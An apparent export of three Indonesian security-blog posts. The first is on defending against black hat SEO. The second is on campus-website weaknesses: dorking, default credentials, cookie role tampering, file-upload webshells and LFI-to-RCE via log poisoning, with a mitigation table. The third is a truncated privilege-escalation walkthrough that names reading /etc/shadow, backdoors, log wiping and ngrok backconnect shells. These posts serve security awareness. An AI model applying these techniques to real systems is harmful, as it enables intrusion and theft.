[{"content":"\rBayangkan sebuah pagi biasa. Kamu membuka laptop, menyeruput kopi, lalu iseng membuka Google Search Console seperti kebiasaan setiap hari. Tapi kali ini ada yang aneh. Grafik trafik yang biasanya landai stabil tiba tiba menukik tajam seperti jatuh dari tebing. Tidak ada perubahan konten yang kamu lakukan, tidak ada update besar dari sisi teknis, bahkan kamu baru saja publish artikel baru dua hari lalu yang seharusnya mendongkrak performa, bukan menjatuhkannya. Kepala mulai pusing, jantung berdegup lebih cepat, dan pertanyaan besar muncul di benak, apa yang sebenarnya terjadi pada website yang sudah dibangun susah payah selama bertahun tahun ini?\nSkenario semacam ini bukan cerita fiksi belaka. Banyak pemilik website, mulai dari blogger pemula sampai pelaku bisnis dengan skala besar, pernah mengalami kepanikan serupa. Dan dalam banyak kasus, biang keroknya adalah sesuatu yang jarang disadari kebanyakan orang, yaitu serangan SEO black hat. Ini bukan sekadar istilah teknis yang terdengar rumit, melainkan ancaman nyata yang bisa menyerang siapa saja tanpa pandang bulu, terlepas dari seberapa hati hati kamu mengelola website selama ini.\nDunia digital marketing memang penuh persaingan. Setiap pemilik bisnis ingin websitenya nangkring di halaman pertama Google, karena di situlah sebagian besar trafik dan konversi berasal. Sayangnya, di balik gemerlap persaingan yang terlihat profesional, ada sisi kelam yang jarang dibicarakan secara terbuka. Sebagian pihak memilih jalan pintas yang jauh dari kata etis, bahkan rela menyerang website kompetitor secara diam diam demi mendongkrak posisi mereka sendiri. Artikel ini akan mengajak kamu menyelami lebih dalam fenomena tersebut, mulai dari akar permasalahannya sampai strategi pertahanan menyeluruh yang bisa kamu terapkan mulai hari ini juga.\nMenguak Apa Sebenarnya Serangan SEO Black Hat Itu Istilah black hat sendiri sebenarnya diambil dari budaya film koboi lama, di mana tokoh jahat biasanya digambarkan mengenakan topi hitam sementara tokoh baik mengenakan topi putih. Dalam dunia SEO, istilah ini dipakai untuk menggambarkan praktik yang berlawanan dengan pedoman resmi mesin pencari, sebuah pendekatan yang lebih mementingkan hasil instan ketimbang membangun fondasi yang benar benar sehat dan berkelanjutan.\nSecara teknis, SEO black hat adalah kumpulan taktik manipulatif yang dipakai untuk mendongkrak peringkat sebuah situs tanpa mengikuti aturan main yang ditetapkan oleh mesin pencari seperti Google. Bedanya dengan pendekatan SEO yang sehat sangat jelas terlihat, kalau SEO organik mengandalkan konten berkualitas, pengalaman pengguna yang nyaman, dan reputasi yang dibangun secara perlahan, SEO black hat justru mencoba mengelabui algoritma dengan berbagai cara licik supaya sebuah halaman terlihat lebih relevan dan otoritatif dari yang sebenarnya.\nYang menarik dan sekaligus mengkhawatirkan, black hat SEO ternyata tidak selalu digunakan untuk mendongkrak website milik pelaku sendiri. Ada bentuk lain yang jauh lebih licik, yaitu serangan yang justru diarahkan langsung ke website orang lain dengan tujuan menjatuhkan reputasinya di mata mesin pencari, sebuah praktik yang dikenal luas dengan istilah negative SEO. Bayangkan kompetitor bisnis kamu diam diam menyewa jasa untuk membanjiri website kamu dengan backlink busuk, semuanya dilakukan tanpa sepengetahuanmu sama sekali sampai dampaknya benar benar terasa.\nKenapa Praktik Curang Semacam Ini Terus Bertahan Kalau dipikir pikir, kenapa sih masih ada saja orang yang mau menempuh jalan curang padahal risikonya besar? Jawabannya ternyata cukup manusiawi, yaitu godaan hasil instan di tengah persaingan yang semakin ketat setiap tahunnya. Membangun SEO yang sehat butuh waktu, kadang berbulan bulan bahkan bertahun tahun, sementara sebagian pelaku bisnis merasa tidak punya kesabaran sepanjang itu, apalagi kalau mereka beroperasi di industri dengan persaingan kata kunci yang sangat sengit dan bernilai tinggi seperti keuangan, kesehatan, atau perjudian daring.\nFaktor lain yang memperparah keadaan adalah semakin mudahnya akses terhadap alat dan layanan untuk melancarkan negative SEO. Kalau dulu untuk melakukan serangan semacam ini butuh keahlian teknis yang mumpuni, sekarang tinggal cari saja di berbagai forum atau marketplace jasa digital, ada banyak penyedia backlink murah dalam jumlah ribuan yang siap disewakan kapan saja untuk menyerang domain tertentu. Kemudahan akses seperti inilah yang membuat ancaman ini terasa semakin nyata dan dekat bagi siapa saja yang memiliki website, tidak peduli seberapa besar atau kecil skala bisnisnya.\nAda juga faktor psikologis yang tidak kalah penting untuk dipahami. Sebagian pelaku black hat SEO sebenarnya sadar betul bahwa tindakan mereka berisiko, tapi mereka menganggap peluang tertangkap masih lebih kecil dibanding potensi keuntungan jangka pendek yang bisa didapat. Mentalitas semacam ini mirip dengan perjudian, di mana risiko besar dianggap sepadan asalkan hasil yang didapat juga besar, meskipun pada kenyataannya banyak kasus di mana taruhan ini justru berujung pada kehancuran total sebuah website yang dibangun bertahun tahun.\nEnam Wujud Serangan yang Paling Sering Ditemui Supaya kamu bisa lebih waspada dan tidak mudah terkejut kalau suatu saat mengalaminya sendiri, penting untuk mengenal berbagai bentuk serangan yang paling sering ditemui di lapangan. Setiap teknik punya karakteristik dan cara kerja yang berbeda, tapi semuanya bermuara pada satu tujuan yang sama, yaitu mengelabui algoritma mesin pencari demi keuntungan pihak tertentu.\n1. Banjir Backlink Beracun\nTaktik ini paling populer dan mudah dikenali. Bayangkan website kamu yang biasanya hanya mendapat beberapa backlink baru setiap bulan, tiba tiba dalam waktu semalam mendapat ratusan bahkan ribuan backlink dari situs situs berkualitas rendah yang tidak jelas asal usulnya. Pola pertumbuhan backlink yang tidak alami seperti ini akan langsung memicu kecurigaan algoritma mesin pencari, dan dalam banyak kasus justru berujung pada penalti yang menjatuhkan peringkat website yang menjadi korban, bukan yang melancarkan serangan.\n2. Spam Komentar Otomatis\nBot bot ini bekerja siang malam menyisir internet mencari blog dengan sistem moderasi komentar yang lemah, lalu membanjiri kolom komentarnya dengan tautan tautan mencurigakan yang mengarah ke situs judi, produk ilegal, atau bahkan malware. Kalau website kamu tidak memiliki filter komentar yang memadai, kolom komentar yang seharusnya menjadi ruang interaksi positif dengan pembaca bisa berubah menjadi ladang subur bagi tautan tautan sampah yang merusak reputasi situs secara perlahan namun pasti.\n3. Duplikasi dan Pencurian Konten\nKonten asli hasil kerja keras kamu disalin mentah mentah lalu disebarkan ke berbagai domain lain tanpa izin. Tujuannya jelas, membuat mesin pencari kebingungan menentukan mana sumber konten yang sebenarnya asli, sehingga peringkat situs kamu yang seharusnya menjadi pemilik sah konten tersebut justru berpotensi terganggu, apalagi kalau situs yang menyalin kontenmu punya otoritas domain yang lebih tinggi.\n4. Cloaking dan Doorway Page\nCloaking bekerja dengan cara menampilkan konten yang berbeda antara apa yang dilihat mesin pencari dengan apa yang dilihat pengunjung asli, sebuah bentuk penipuan algoritmik yang jelas melanggar pedoman kualitas Google. Sementara doorway page adalah halaman khusus yang sengaja dibuat hanya untuk menjaring kata kunci tertentu, lalu begitu pengunjung mengklik, mereka justru diarahkan ke halaman lain yang sama sekali tidak relevan dengan apa yang mereka cari sebelumnya.\n5. Keyword Stuffing\nTeknik lama yang sebenarnya sudah mulai ditinggalkan tapi masih saja dipakai oleh sebagian pihak yang belum update dengan perkembangan algoritma terbaru. Praktik ini mengulang ulang kata kunci secara berlebihan dan tidak alami dalam sebuah konten, sampai sampai kalimatnya terasa dipaksakan dan kehilangan makna aslinya. Algoritma mesin pencari modern sudah semakin pintar dalam memahami konteks bahasa alami sehingga teknik ini justru bisa berbalik merugikan.\n6. Penyisipan Kode Berbahaya\nIni yang paling berbahaya dari semuanya karena bukan lagi sekadar manipulasi algoritma, melainkan sudah masuk ke ranah peretasan yang sesungguhnya. Penyerang akan menyusup lewat celah keamanan yang belum diperbarui, lalu menyisipkan tautan tersembunyi, redirect berbahaya, atau bahkan konten ilegal seperti perjudian daring tanpa sepengetahuan pemilik situs sama sekali. Banyak kasus di mana pemilik website baru sadar situsnya sudah disusupi setelah menerima peringatan dari Google atau setelah pengunjung melapor mengalami redirect aneh.\nKetika Dampaknya Benar Benar Terasa dalam Kehidupan Nyata Kalau serangan semacam ini dibiarkan tanpa penanganan yang tepat, dampaknya bisa jauh lebih parah dari sekadar penurunan angka trafik di dashboard analitik. Peringkat situs bisa merosot drastis dalam hitungan hari, bahkan jam, dan yang lebih menyakitkan lagi, reputasi domain di mata mesin pencari bisa rusak dalam jangka panjang, sebuah kerusakan yang tidak bisa diperbaiki hanya dengan menambah beberapa artikel baru saja.\nBayangkan sebuah toko online yang selama ini mengandalkan trafik organik sebagai sumber penjualan utama. Ketika peringkatnya jatuh akibat serangan black hat SEO, bukan cuma angka kunjungan yang turun, tapi juga pendapatan bisnis yang ikut anjlok secara nyata. Belum lagi kalau sampai website terkena penalti manual dari Google akibat backlink beracun atau konten mencurigakan yang disusupkan, proses pemulihannya bisa memakan waktu berbulan bulan, bahkan ada kasus di mana pemilik situs harus membangun ulang kepercayaan dari nol.\nDampak lain yang sering terlupakan adalah kerugian dari sisi kepercayaan pengunjung. Kalau website sampai disusupi konten ilegal seperti judi online atau redirect ke situs berbahaya, pengunjung yang mengalaminya akan kehilangan kepercayaan terhadap brand kamu, bahkan mungkin enggan kembali lagi meskipun masalahnya sudah diperbaiki. Kepercayaan yang hilang semacam ini jauh lebih sulit dipulihkan dibanding sekadar memperbaiki angka peringkat di mesin pencari.\nLima Sinyal Bahaya yang Tidak Boleh Kamu Abaikan Semakin cepat kamu menyadari adanya serangan, semakin besar pula peluang untuk menangani dan meminimalisir dampaknya. Berikut sinyal sinyal yang sebaiknya selalu kamu perhatikan.\nTrafik organik anjlok secara tiba tiba. Penurunan drastis tanpa ada penjelasan logis dari sisi konten atau perubahan teknis yang kamu lakukan sendiri patut dicurigai sebagai indikasi awal adanya gangguan dari luar. Lonjakan backlink asing dalam waktu singkat. Kalau tiba tiba muncul ratusan backlink dari situs situs yang tidak dikenal dalam hitungan hari, ini bisa jadi pertanda ada pihak yang sedang mencoba menjatuhkan reputasi domain kamu. Notifikasi tindakan manual dari Google Search Console. Mesin pencari biasanya akan mengirimkan peringatan resmi kalau mendeteksi adanya pelanggaran pedoman kualitas pada situs kamu, jadi jangan pernah abaikan email dari Search Console. Muncul halaman atau konten aneh yang tidak pernah kamu buat. Ini sinyal paling jelas bahwa ada pihak lain yang berhasil menyusup ke dalam sistem website kamu. Laporan pengunjung soal redirect mencurigakan. Kalau ada pembaca yang mengeluh diarahkan ke situs lain saat mengakses halaman tertentu di website kamu, segera lakukan pengecekan tanpa menunda nunda. Kalau menemukan salah satu dari tanda tanda di atas, jangan panik berlebihan, tapi juga jangan menunda nunda untuk segera melakukan audit menyeluruh terhadap kondisi website demi memastikan sumber masalah yang sebenarnya.\nTujuh Langkah Membangun Benteng Pertahanan yang Sesungguhnya Setelah memahami betapa nyata dan beragamnya ancaman ini, saatnya membahas bagian yang paling penting, yaitu bagaimana cara melindungi website kamu secara menyeluruh. Pencegahan selalu jauh lebih murah dan lebih mudah dibanding harus memperbaiki kerusakan yang sudah telanjur terjadi.\nPantau trafik dan performa secara berkala. Gunakan Google Search Console dan Google Analytics secara konsisten supaya perubahan mencurigakan bisa terdeteksi jauh lebih awal, ibarat mendeteksi gejala penyakit sejak dini sebelum berkembang menjadi kondisi yang lebih serius. Periksa profil backlink secara rutin. Kalau menemukan backlink dari situs yang terlihat tidak jelas asal usulnya, segera lakukan proses disavow melalui Google Search Console supaya backlink tersebut tidak lagi dianggap bagian dari profil link website kamu. Perbarui sistem website tanpa menunda. Jaga keamanan dengan cara memperbarui CMS, plugin, dan tema secara berkala, karena banyak sekali kasus serangan yang berhasil menyusup hanya karena celah keamanan yang sebenarnya sudah tersedia pembaruannya sejak lama. Aktifkan filter dan moderasi komentar. Kombinasikan dengan penggunaan captcha atau sistem verifikasi sederhana untuk mengurangi aktivitas bot spam secara signifikan. Perkuat lapisan keamanan tambahan. Pertimbangkan penggunaan sertifikat HTTPS yang sudah menjadi standar wajib, ditambah firewall aplikasi web yang bisa membantu mencegah upaya penyusupan kode berbahaya sebelum sempat merusak sistem. Konsisten membangun konten berkualitas. Website dengan reputasi kuat dan kepercayaan tinggi di mata mesin pencari cenderung jauh lebih tahan terhadap gangguan dari luar dibandingkan situs yang otoritasnya masih rendah dan baru dibangun. Jauhi sepenuhnya taktik black hat pada website sendiri. Sekalipun tergoda melihat hasil instan yang ditawarkan, kebiasaan ini justru membuat situs semakin rentan terhadap serangan serupa dari pihak luar karena pola optimasinya sejak awal memang sudah tidak wajar. Jika Website Kamu Sudah Terlanjur Menjadi Korban Kalau ternyata website kamu sudah terlanjur terdampak dari serangan semacam ini, jangan langsung berkecil hati dan menyerah begitu saja, karena masih banyak yang bisa dilakukan untuk memulihkan keadaan. Mulailah dengan mengidentifikasi sumber masalah secara detail lewat data yang tersedia di Search Console dan berbagai tools analitik lainnya, supaya kamu bisa memahami secara pasti bentuk serangan apa yang sedang dihadapi.\nSetelah sumber masalah teridentifikasi, bersihkan backlink beracun lewat proses disavow, hapus konten atau kode mencurigakan yang tidak pernah kamu buat sendiri, lalu perbarui seluruh sistem keamanan situs secara menyeluruh tanpa ada yang terlewat. Proses ini memang butuh kesabaran ekstra dan tidak bisa selesai dalam semalam, tapi ketelitian di tahap ini akan sangat menentukan seberapa cepat website kamu bisa pulih sepenuhnya.\nSetelah proses pembersihan selesai dilakukan, fokuslah kembali membangun strategi SEO yang sehat dan berkelanjutan seperti sebelum kejadian ini terjadi. Butuh waktu bagi mesin pencari untuk kembali sepenuhnya mempercayai domain kamu, kadang prosesnya memakan waktu beberapa bulan, tapi dengan konsistensi dan kesabaran yang baik, peringkat dan reputasi situs biasanya bisa pulih secara bertahap seiring berjalannya waktu.\nPenutup yang Perlu Kamu Renungkan Serangan SEO black hat memang menggiurkan bagi sebagian pihak karena menjanjikan hasil instan dalam waktu singkat, tapi kalau ditelaah lebih dalam, risikonya jauh lebih besar dibanding manfaat sesaat yang ditawarkan, apalagi kalau kamu justru menjadi korban dari praktik curang ini tanpa pernah menyadarinya sejak awal. Dunia digital yang terlihat abstrak dan tidak berwujud ini nyatanya menyimpan pertarungan yang sangat nyata, di mana reputasi dan kepercayaan menjadi taruhan utamanya.\nMembangun website yang sehat dan tepercaya memang butuh waktu, kesabaran, serta konsistensi yang tidak sedikit, jauh berbeda dengan janji manis hasil instan yang ditawarkan jalan pintas curang. Namun percayalah, fondasi yang dibangun dengan cara yang benar akan jauh lebih tahan lama dan lebih sulit dirobohkan dibanding bangunan yang berdiri di atas trik trik manipulatif yang bisa runtuh kapan saja. Daripada terus was was memikirkan kapan giliran website kamu diserang, jauh lebih baik untuk terus memperkuat fondasi keamanan situs sambil konsisten membangun konten berkualitas dari waktu ke waktu, sehingga website kamu bisa tumbuh secara sehat, aman, dan tetap dipercaya baik oleh mesin pencari maupun oleh pembaca setia dalam jangka panjang.\n","permalink":"https://edu.ravxytech.my.id/posts/mengenal-ancaman-seo-black-hat/","summary":"\u003cfigure\u003e\r\n    \u003cimg loading=\"lazy\" src=\"/images/seo.png\"\r\n         alt=\"Mengenal Ancaman SEO Black Hat, taktik berbahaya yang bisa menghancurkan website dan reputasi bisnis\"/\u003e \r\n\u003c/figure\u003e\r\n\n\u003cp\u003eBayangkan sebuah pagi biasa. Kamu membuka laptop, menyeruput kopi, lalu iseng membuka Google Search Console seperti kebiasaan setiap hari. Tapi kali ini ada yang aneh. Grafik trafik yang biasanya landai stabil tiba tiba menukik tajam seperti jatuh dari tebing. Tidak ada perubahan konten yang kamu lakukan, tidak ada update besar dari sisi teknis, bahkan kamu baru saja publish artikel baru dua hari lalu yang seharusnya mendongkrak performa, bukan menjatuhkannya. Kepala mulai pusing, jantung berdegup lebih cepat, dan pertanyaan besar muncul di benak, apa yang sebenarnya terjadi pada website yang sudah dibangun susah payah selama bertahun tahun ini?\u003c/p\u003e","title":"Membedah Dunia Kelam Serangan SEO Black Hat, Bagaimana Peringkat Website Bisa Dihancurkan dalam Semalam dan Cara Membangun Benteng Pertahanan yang Sesungguhnya"},{"content":"\rSering banget kan denger berita database kampus bocor, atau desas-desus mahasiswa yang tiba-tiba nilainya berubah jadi A semua? Kalau sebelumnya kita bahas kerentanan umum kayak SQLi dan XSS, realitanya di lapangan\u0026hellip; attack vector-nya jauh lebih liar dan sistematis dari itu wkwkwk.\nArtikel ini bakal ngebahas secara mendalam dan lebih \u0026ldquo;niat\u0026rdquo; (siapin kopi sama rokok dulu wkwk) tentang kenapa infrastruktur digital pendidikan sering kali jadi sasaran empuk para peretas. Kita akan bedah anatomi serangannya, mulai dari teknik reconnaissance di subdomain terlantar, eksploitasi CMS kampus, kerentanan file manager, hingga masuk ke ranah Remote Code Execution (RCE).\nAkar Masalah: Subdomain Terlantar (The Forgotten Assets) Kenapa kampus sering kebobolan? Jawabannya simpel: Subdomain yang tidak terurus.\nSebuah kampus biasanya punya domain utama (misal: kampus.ac.id) yang dijaga dengan sangat ketat. Tapi mereka juga punya puluhan hingga ratusan subdomain untuk berbagai keperluan: jurnal.kampus.ac.id, perpus.kampus.ac.id, pmb2018.kampus.ac.id, alumni.kampus.ac.id, dan sebagainya.\nNah, seorang hacker itu jarang menyerang pintu depan (domain utama). Mereka biasanya scanning dan mencari celah satu per satu di subdomain ini. Kenapa? Karena admin IT kampus sering kali lupa, kekurangan personel, atau malas mengecek dan memelihara web-web di subdomain yang mungkin umurnya sudah belasan tahun. Subdomain lawas ini ibarat jendela belakang yang dibiarkan terbuka di sebuah rumah yang pagarnya tinggi.\nSenjata Utama Attacker: Google Dorking \u0026amp; Reconnaissance Untuk mencari \u0026ldquo;jendela yang terbuka\u0026rdquo; ini, attacker nggak selalu perlu nge-bruteforce server dengan alat berat. Sering kali cukup modal Google Dorking!\nGoogle Dorking adalah teknik menggunakan operator pencarian tingkat lanjut di Google (seperti parameter site:, inurl:, intitle:, atau filetype:) untuk mencari halaman web spesifik yang terekspos ke publik namun seharusnya disembunyikan.\nApa yang biasa dicari menggunakan Google Dork di domain kampus?\nHalaman panel login administrator CMS tertentu yang tersembunyi. Direktori file yang terbuka bebas dan bisa di-browse (Directory Listing / Index of). File backup database (.sql, .bak, .zip) atau file log konfigurasi. Mengidentifikasi modul pihak ketiga atau CMS rentan yang digunakan oleh pihak kampus. Hanya bermodalkan pencarian cerdas di mesin pencari, berbagai informasi sensitif bisa terangkut semua tanpa membunyikan alarm Firewall atau Intrusion Detection System (IDS) di server kampus sama sekali.\n\u0026ldquo;Menu Langganan\u0026rdquo; Kerentanan di Web Kampus Setelah target subdomain terlantar ditemukan, ini dia beberapa vulnerability legendaris yang paling sering dieksploitasi untuk membobol sistem:\n1. Default Credential \u0026amp; Bypass Admin Pernah kepikiran nggak, web jurnal atau perpus kampus jebol gara-gara password adminnya masih pakai bawaan pabrik seperti admin dan username-nya admin? Percaya atau nggak, ini kasus yang sangat, sangat umum!\nSelain Default Credential, kerentanan Bypass Admin juga sering terjadi akibat kesalahan logika kode. Misalnya, sistem validasi otorisasi sesi (session) yang lemah, di mana attacker cukup memodifikasi cookie secara lokal di browser (misal mengubah parameter dari role=mahasiswa menjadi role=admin), dan boom! Langsung dapet akses dashboard administrator tanpa perlu menebak password.\n2. File Manager Pihak Ketiga yang Bolong Aplikasi web sering kali butuh fitur manajemen konten untuk meng-upload gambar atau dokumen pengumuman. Banyak sistem kampus menggunakan modul pihak ketiga (open-source) lawas yang diintegrasikan ke dashboard mereka, seperti:\nKcfinder Fckeditor atau CKEditor versi kuno Elfinder Kindeditor Plugin Com_media di beberapa CMS Masalahnya, modul-modul editor lawas ini sering kali memiliki celah keamanan yang sangat fatal, yaitu Arbitrary File Upload. Sistem gagal menyaring ekstensi file dengan benar. Alih-alih meng-upload file gambar (.jpg atau .png), attacker malah bisa menyisipkan file bereksistensi .php (yang isinya kode Webshell atau Backdoor). Begitu file PHP itu dipanggil lewat URL, attacker otomatis memiliki kendali penuh ke server!\n3. Eksploitasi CMS Kampus yang Usang (OJS, SLiMS, Balitbang, Drupal) Website kampus sangat bergantung pada berbagai Content Management System (CMS) spesifik untuk kebutuhan akademik. Namun, CMS ini sangat rawan jika dibiarkan outdated:\nOJS (Open Journal Systems): Sangat populer untuk publikasi jurnal dosen. Versi lawas OJS terkenal memiliki rentetan celah Privilege Escalation dan kelemahan di fitur unggah dokumennya. SLiMS (Senayan Library Management System): Tulang punggung sistem perpustakaan di banyak universitas. Jika versinya tidak diperbarui, beberapa rilis lama memiliki vulnerability injeksi SQL. CMS Balitbang: Ini legenda banget di ekosistem web pendidikan Indonesia. Versi-versi tuanya memiliki celah yang dijuluki \u0026ldquo;SQL Balitbang\u0026rdquo; yang memungkinkan penyerang men-dump isi database dengan eksploitasi sederhana. Drupal (Versi Jadul): CMS powerful namun di masa lalu punya sejarah kelam dengan eksploit bernama Drupalgeddon, yang memungkinkan attacker melakukan Remote Code Execution tanpa perlu login sama sekali. 4. Dari LFI (Local File Inclusion) Menuju RCE Local File Inclusion (LFI) terjadi saat web server secara tidak sengaja mengizinkan pengguna dari luar untuk menginklusi dan membaca file-file sensitif di dalam server local (misalnya membaca file /etc/passwd).\nNamun, di tangan attacker yang jago, LFI bukanlah tujuan akhir. Mereka bisa melakukan chaining (menggabungkan beberapa teknik celah) dari LFI menjadi RCE (Remote Code Execution). Salah satu teknik terkenalnya adalah Log Poisoning: attacker menyisipkan payload PHP berbahaya ke dalam file log akses milik server apache/nginx, lalu memanggil file log tersebut melalui celah LFI. Saat log itu terinklusi, kode PHP di dalamnya akan tereksekusi.\nApa bahayanya RCE? Remote Code Execution adalah mimpi buruk terburuk bagi Admin Server. Attacker mendapatkan Shell atau koneksi terminal langsung (Reverse Shell) ke dalam server dan bisa mengeksekusi perintah sistem operasi selayaknya admin. Dari akses user web biasa, mereka tinggal mencari celah eskalasi hak istimewa (Privilege Escalation) untuk naik menjadi Root (seperti yang kita bahas di artikel Root Server sebelumnya wkwk).\nStrategi Pertahanan (Defense in Depth) Buat teman-teman admin server kampus, tim IT Support, atau mahasiswa tingkat akhir yang mau bantu kampus berbenah, berikut adalah mitigasi yang terstruktur:\nVektor Ancaman Solusi \u0026amp; Mitigasi Aktif (Remediasi) Subdomain Terlantar Lakukan Asset Inventory rutin. Data semua subdomain. Segera matikan atau takedown aplikasi lawas yang sudah tidak dipakai (Decommissioning). Google Dorking Konfigurasi file robots.txt dengan benar. Lindungi direktori sensitif. Admin juga wajib melakukan Google Dorking ke domain kampusnya sendiri untuk deteksi dini. Default Credential Hapus akun bawaan setelah instalasi. Terapkan kebijakan password yang complex dan wajibkan aktivasi Multi-Factor Authentication (MFA) untuk panel admin. Celah Arbitrary Upload Isolasi direktori upload! Pastikan direktori tempat menyimpan file yang diunggah pengguna tidak bisa mengeksekusi script PHP. Contoh, gunakan .htaccess (php_flag engine off). CMS \u0026amp; Plugin Lawas Tetapkan jadwal Patch Management bulanan. Segera mutakhirkan (update) OJS, Drupal, dan SLiMS ke rilis terbaru. Jangan gunakan file manager usang yang sudah tidak diperbarui. LFI \u0026amp; RCE Konfigurasi file php.ini dengan prinsip Hardening. Nonaktifkan fungsi sistem berbahaya seperti allow_url_include, system(), exec(), dan shell_exec() jika tidak dibutuhkan aplikasi. Mengelola infrastruktur IT skala besar seperti di universitas memang kompleks. Tapi dengan memahami cara berpikir dan offensive mindset penyerang, institusi bisa menyusun prioritas perbaikan yang tepat sasaran demi melindungi data sivitas akademika.\nDisclaimer\nSeluruh materi, konsep kerentanan, metodologi, dan penjelasan teoretis dalam artikel ini disusun murni untuk tujuan edukasi dan peningkatan kesadaran keamanan siber (cybersecurity awareness).\nPenulis sama sekali tidak mengajarkan, memberikan payload eksploitasi yang fungsional, apalagi menyarankan Anda untuk mencoba meretas website kampus mana pun. Melakukan aksi pencarian celah, Google Dorking dengan niat penyerangan, atau pengujian vulnerability pada sistem jaringan institusi TANPA IZIN tertulis resmi (Authorization / Rules of Engagement) adalah TINDAKAN ILEGAL. Pelakunya dapat dituntut sesuai dengan hukum pidana UU ITE.\nGunakanlah ilmu keamanan siber untuk melindungi aset digital. Jadilah Security Researcher atau Ethical Hacker yang bertanggung jawab dan beretika!\n","permalink":"https://edu.ravxytech.my.id/posts/kerentanan-keamanan-web-kampus/","summary":"\u003cfigure\u003e\r\n    \u003cimg loading=\"lazy\" src=\"/images/kampus.png\"\r\n         alt=\"kampus exploit\"/\u003e \r\n\u003c/figure\u003e\r\n\n\u003cp\u003eSering banget kan denger berita database kampus bocor, atau desas-desus mahasiswa yang tiba-tiba nilainya berubah jadi A semua? Kalau sebelumnya kita bahas kerentanan umum kayak SQLi dan XSS, realitanya di lapangan\u0026hellip; \u003cem\u003eattack vector\u003c/em\u003e-nya jauh lebih liar dan sistematis dari itu wkwkwk.\u003c/p\u003e\n\u003cp\u003eArtikel ini bakal ngebahas secara mendalam dan lebih \u0026ldquo;niat\u0026rdquo; (siapin kopi sama rokok dulu wkwk) tentang kenapa infrastruktur digital pendidikan sering kali jadi sasaran empuk para peretas. Kita akan bedah anatomi serangannya, mulai dari teknik \u003cem\u003ereconnaissance\u003c/em\u003e di subdomain terlantar, eksploitasi CMS kampus, kerentanan file manager, hingga masuk ke ranah \u003cem\u003eRemote Code Execution\u003c/em\u003e (RCE).\u003c/p\u003e","title":"Membongkar Sisi Gelap Keamanan Web Kampus: Dari Google Dork hingga RCE"},{"content":"Belakangan ini timeline lagi rame banget soal peretasan server yang berujung dapet akses root. Berita di sana-sini, forum underground makin ramai, dan banyak yang penasaran sebenernya gimana sih prosesnya sampai seseorang bisa \u0026ldquo;menguasai\u0026rdquo; sebuah server secara penuh.\nArtikel ini bakal ngebahas tuntas mulai dari apa itu root, bagaimana proses escalation dari user biasa jadi root, sampai teknik backconnect pakai ngrok buat dapetin shell dari balik NAT. Semua dijelasin dari sudut pandang edukasi, intinya siapin kopi + rokok ae wkwkwk.\nApa Itu Root di Server Linux? Di dunia Linux, root adalah user dengan level akses paling tinggi. Kalau di Windows istilahnya Administrator, di Linux namanya root. User root punya UID (User ID) bernilai 0, dan ini adalah tanda bahwa user tersebut punya kendali penuh atas seluruh sistem.\nApa yang bisa dilakukan root? Singkatnya, segalanya.\n- Membaca, menulis, dan menghapus file apapun di seluruh sistem - Menginstall dan menghapus software - Menambah dan menghapus user lain - Mengubah konfigurasi sistem, firewall, dan service - Melihat proses milik semua user - Mengakses seluruh database yang berjalan di server - Memodifikasi kernel dan modul sistem Tidak ada batasan, tidak ada permission denied, tidak ada yang bisa menghalangi. Makanya kalau seseorang berhasil mendapatkan akses root di server orang lain tanpa izin, itu sudah termasuk full compromise.\nKenapa Hacker Mengincar Root? Pertanyaan bagus. Kenapa tidak cukup dengan user biasa saja?\nSaat seorang attacker pertama kali masuk ke sebuah server, biasanya yang didapat adalah akses sebagai user biasa dengan privilege terbatas. User biasa hanya bisa mengakses file miliknya sendiri, tidak bisa menginstall software, tidak bisa membaca file milik user lain, dan tidak bisa mengubah konfigurasi sistem.\nDengan akses user biasa, attacker bisa melakukan hal-hal terbatas seperti:\n- Membaca file di home directory sendiri - Menjalankan command dasar - Melihat proses milik sendiri Tapi dengan akses root, semuanya berubah total:\n- Dump seluruh database (MySQL, PostgreSQL, MongoDB, semuanya) - Baca file /etc/shadow yang berisi hash password semua user - Install backdoor yang persistent (tetap ada walau server di-reboot) - Modifikasi log untuk menghapus jejak - Pivot ke server lain di jaringan internal - Ambil alih domain, website, email, semuanya Intinya, root itu adalah \u0026ldquo;game over\u0026rdquo; buat server tersebut. Tidak ada lagi yang perlu di-bypass, tidak ada lagi restriction yang menghalangi. Makanya privilege escalation dari user biasa ke root itu jadi salah satu tahapan paling krusial dalam proses peretasan.\nTahapan Serangan: Dari Nol Sampai Root Sebelum masuk ke teknis privilege escalation, penting untuk paham dulu gambaran besar alur sebuah serangan terhadap server. Prosesnya tidak langsung \u0026ldquo;tiba-tiba jadi root\u0026rdquo; wkwkwk. Ada tahapan yang dilalui.\n1. Initial Access (Masuk Pertama Kali) Ini adalah langkah pertama di mana attacker mendapatkan akses awal ke server. Cara masuknya bisa bermacam-macam:\nExploit vulnerability di web application (SQL Injection, RCE, File Upload, dan lainnya) Kredensial yang bocor (password default, credential stuffing, atau dari breach database) SSH bruteforce kalau password lemah Webshell yang sudah ditanam sebelumnya Setelah berhasil masuk, biasanya yang didapat adalah shell sebagai user www-data (kalau masuknya lewat web), atau user biasa kalau masuknya lewat SSH.\n2. Enumeration (Mengumpulkan Informasi) Nah di sinilah fase paling penting dan paling seru wkwkwk. Setelah dapat shell, attacker tidak langsung \u0026ldquo;nge-root\u0026rdquo;. Yang dilakukan pertama kali adalah mengumpulkan informasi sebanyak-banyaknya tentang server tersebut.\nInformasi apa yang dicari? Sabar, bakal dibahas detail di section berikutnya.\n3. Privilege Escalation (Naik Level ke Root) Berdasarkan informasi yang dikumpulkan di fase enumeration, attacker akan mencari jalur untuk menaikkan privilege dari user biasa menjadi root. Di sinilah gcc, pkexec, python, dan teman-temannya berperan.\n4. Post-Exploitation (Setelah Jadi Root) Setelah berhasil jadi root, attacker bisa melakukan apa saja. Mulai dari dump database, install backdoor, sampai menghapus jejak di log. Tapi pembahasan ini di luar scope artikel kali ini, soalnya sensitif lah, cari2 sendiri ae takut aku wkwkwk.\nFase Enumeration: Apa yang Dicari Hacker Setelah Masuk? Ini bagian yang banyak orang penasaran. Setelah dapat shell di server, apa yang pertama kali dilakukan?\nJawabannya: enumerasi. Mengecek apa saja yang tersedia di server, apa yang bisa dimanfaatkan, dan jalur mana yang paling mungkin untuk naik ke root.\nCek User Saat Ini id whoami Output id bakal menunjukkan UID, GID, dan groups dari user saat ini. Kalau UID-nya 0, selamat, sudah root wkwkwk. Tapi biasanya yang keluar adalah sesuatu seperti:\nuid=33(www-data) gid=33(www-data) groups=33(www-data) Artinya masih jadi user www-data dengan privilege terbatas.\nCek Informasi Sistem uname -a cat /etc/os-release cat /proc/version Informasi kernel dan versi OS sangat penting. Kernel yang 